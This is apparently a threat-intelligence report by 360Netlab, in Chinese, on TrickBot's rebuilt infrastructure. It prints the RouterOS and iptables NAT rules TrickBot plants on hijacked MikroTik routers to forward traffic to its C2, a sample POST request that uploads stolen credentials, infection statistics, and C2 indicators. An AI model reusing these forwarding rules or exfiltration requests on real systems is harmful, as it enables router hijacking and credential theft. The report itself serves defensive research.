我们视野下的TrickBot

版权


版权声明：本文为360Netlab原创，依据CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。



背景


2021年01月08日，360Netlab首次观察到TrickBot通过IP 45.89.125.253在互联网上尝试入侵MikroTik Router设备，构建其一级转发代理C2，用来和二级真实C2通信。




我们知道TrickBot网络基础设施是由多级C2的组成，第一级代理C2一般是被黑的主机或IoT设备，这样可以很好的隐藏背后真实的C2主机。我们蜜罐由于智能自动化交互，具有高度的迷惑性，被TrickBot master认为在我们蜜罐主机上成功部署一级代理C2。这样，我们几乎有了幕后操纵者的视角，通过蜜罐收集到了被感染主机的连接请求和背后大量的数据。


Trickbot是一个臭名昭著的网银木马，自2016年被曝光后一直处于非常活跃的状态。经过多年的开发&运营，TrickBot已经变成了一个功能复杂的模块化恶意软件，它可以窃取多种登录凭证，浏览器表单信息，加密货币钱包、窃取邮件信息，收集主机信息甚至还会投递勒索软件，其背后的团伙甚至和APT组织Lazarus合作，定制开发了APT攻击平台TrickBot Anchor。


TrickBot的活跃，让它成为了安全厂商的重点打击对象，2020年微软和美国执法机构开展的联合打击行动曾重创TrickBot僵尸网络。但是TrickBot并没有走向消亡，此后它借助Emotet强大的传播能力快速恢复。从目前我们的数据来看，它已基本上完成了基础网络设施的重建。



TrickBot代理构建过程


我们观察到TrickBot通过SSH弱口令登录成功后，在目标机器上建立流量转发规则将指定端口(443,449等)的流量转发到第二级CC的方式构建TrickBot一级代理。TrickBot寻找的用来一级代理的目标机器是MikroTik Router，这一点主要通过TrickBot创建流量转发规则的firewall命令(例如:/ip firewall nat remove [find where to-addresses=45.89.125.253])判断。 其构建代理的主要过程如下:




TrickBot流量转发规则样例:


/ip firewall nat remove [find where to-addresses=192.187.121.58]
/ip firewall nat remove [find where to-addresses=185.14.31.222]
/ip firewall nat remove [find where to-addresses=217.12.203.191]
/ip firewall nat remove [find where to-addresses=45.89.125.253]

/ip firewall nat add chain=dstnat proto=tcp dst-port=449 to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}
/ip firewall nat add chain=dstnat proto=tcp dst-port=443   to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}
/ip firewall nat add chain=srcnat action=masquerade src-address={Victim IP}
iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}
sudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}
iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}
sudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}




感染规模


我们观察到TrickBot一共感染了10万多台机器(根据TrickBot http请求中的Client ID计算)。


活跃Bot IP趋势如下：




被感染机器主要分布在美国和欧洲，其Bot源IP地区分布如下：




Bot源IP ASN分布如下：


1353	AS6799 OTEnet S.A.
885	AS5384 Emirates Telecommunications Corporation
796	AS3352 Telefonica De Espana
607	AS8708 RCS & RDS
577	AS3269 Telecom Italia
515	AS25019 Saudi Telecom Company JSC
498	AS7922 COMCAST-7922
470	AS19084 COLOUP
469	AS1267 Wind Tre S.p.A.
442	AS16276 OVH SAS
437	AS30722 Vodafone Italia S.p.A.
340	AS3329 Vodafone-panafon Hellenic Telecommunications Company SA
323	AS3320 Deutsche Telekom AG
305	AS9009 M247 Ltd
293	AS60068 Datacamp Limited
284	AS12479 Orange Espagne SA
281	AS209 CENTURYLINK-US-LEGACY-QWEST
280	AS39891 Saudi Telecom Company JSC
271	AS7018 ATT-INTERNET4
257	AS1241 Forthnet
243	AS12874 Fastweb
234	AS25472 Wind Hellas Telecommunications SA
214	AS577 BACOM
206	AS8075 MICROSOFT-CORP-MSN-AS-BLOCK
204	AS12430 Vodafone Spain
196	AS43766 MTC KSA
194	AS6830 Liberty Global B.V.
179	AS16509 AMAZON-02
176	AS15169 GOOGLE
170	AS9050 Telekom Romania Communication S.A
162	AS20115 CHARTER-20115
160	AS701 UUNET
157	AS9329 Sri Lanka Telecom Internet
155	AS8781 Ooredoo Q.S.C.
149	AS15802 Emirates Integrated Telecommunications Company PJSC
144	AS14061 DIGITALOCEAN-ASN
141	AS3209 Vodafone GmbH
140	AS16232 Telecom Italia
134	AS206067 Three
133	AS53667 PONYNET
129	AS15704 Xtra Telecom S.A.
123	AS22773 ASN-CXA-ALL-CCI-22773-RDC
120	AS4808 China Unicom Beijing Province Network
118	AS18001 Dialog Axiata PLC.
115	AS203507 Avira Holding GmbH & Co. KG
98	AS10796 TWC-10796-MIDWEST
94	AS5607 Sky UK Limited
89	AS11427 TWC-11427-TEXAS
89	AS62744 QUINTEX
87	AS20001 TWC-20001-PACWE




窃取数据统计


我们观察到Trickbot从受害者机器窃取了一共15万左右的登录凭据，主要包括网站、Windows远程登录、VNC、电子邮箱等十几种应用的登录凭据。以及来自浏览器form表单保存的5万多个Email地址和1千多张银行卡信息。其中登录凭据涉及7万多个网站。其窃取的用户数据涉及的协议种类以及来源分布如下：




部分TrickBot窃取的登录凭证对应的SLD，详细的SLD列表见文末。




Trickbot窃取数据上传CC请求示例:


POST /mor132/L-PC_W617601.*/81/ HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary=---------EPJILQEWDEXUTOBV
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; wbxapp 1.0.0; wbx 1.0.0)
Host: {}
Content-Length: 883
Cache-Control: no-cache
Cookie: SESSID=da122263a2bd
-----------EPJILQEWDEXUTOBV
Content-Disposition: form-data; name="data"
https://login.gsis.gr|user*|*372
https://login.yahoo.com|zan*@yahoo.gr|*
https://login.yahoo.com|x.xri*@yahoo.gr|*
https://ape.dapeep.gr|x.xri*s@yahoo.gr|sola*
https://login.gsis.gr|*|nikos*
https://login.gsis.gr|USER*|*
https://ape.dapeep.gr|x.*@gmail.com|*
https://www1.gsis.gr|user*|*
-----------EPJILQEWDEXUTOBV
Content-Disposition: form-data; name="source"
firefox passwords
-----------EPJILQEWDEXUTOBV--




联系我们


如果需要，对应的机构或者国家cert可以联系我们获取相关数据，以便处理相关事件。联系方式： twitter 。



IoC



CC


46.28.69.129	AS15626|ITL_LLC
185.14.31.222	AS21100|ITL_LLC
209.126.119.88	AS30083|HEG_US_Inc.
87.76.21.20	AS202521|Nexcess.net_L.L.C.
128.30.52.39	AS3|Massachusetts_Institute_of_Technology
45.89.125.253	AS174|Cogent_Communications
51.89.125.117	AS16276|OVH_SAS
217.12.218.109	AS21100|ITL_LLC
64.44.51.70	AS20278|Nexeon_Technologies,_Inc.
185.244.150.26	AS60117|Host_Sailor_Ltd.
91.194.84.115	AS24961|myLoc_managed_IT_AG
192.99.211.47	AS16276|OVH_SAS
37.46.132.106	AS29182|JSC_The_First
84.22.116.81	AS196752|Tilaa_B.V.
185.222.201.63	ASNone;
51.38.147.101	AS16276|OVH_SAS
195.123.240.147	AS204957|ITL-Bulgaria_Ltd.
46.28.69.153	AS15626|ITL_LLC
46.28.69.81	AS15626|ITL_LLC
185.64.105.36	AS61272|Informacines_sistemos_ir_technologijos,_UAB
185.64.105.32	AS61272|Informacines_sistemos_ir_technologijos,_UAB
79.141.160.187	AS202015|HZ_Hosting_Ltd
85.25.100.224	AS8972|Host_Europe_GmbH
192.187.121.58	AS33387|DataShack,_LC
170.130.55.84	AS62904|Eonix_Corporation
31.14.40.68	AS19624|Data_Room,_Inc
5.182.211.218	AS64425|SKB_Enterprise_B.V.
217.12.203.191	AS59729|ITL_LLC
82.146.41.221	AS29182|JSC_The_First
69.64.34.255	AS30083|HEG_US_Inc.
148.251.27.246	AS24940|Hetzner_Online_GmbH
198.12.71.126	AS36352|ColoCrossing
92.63.98.252	AS29182|JSC_The_First
148.251.27.244	AS24940|Hetzner_Online_GmbH
46.28.68.169	AS15626|ITL_LLC
195.123.213.249	AS50979|ITL_LLC




附录


 * TrickBot窃取的登录凭证对应的SLD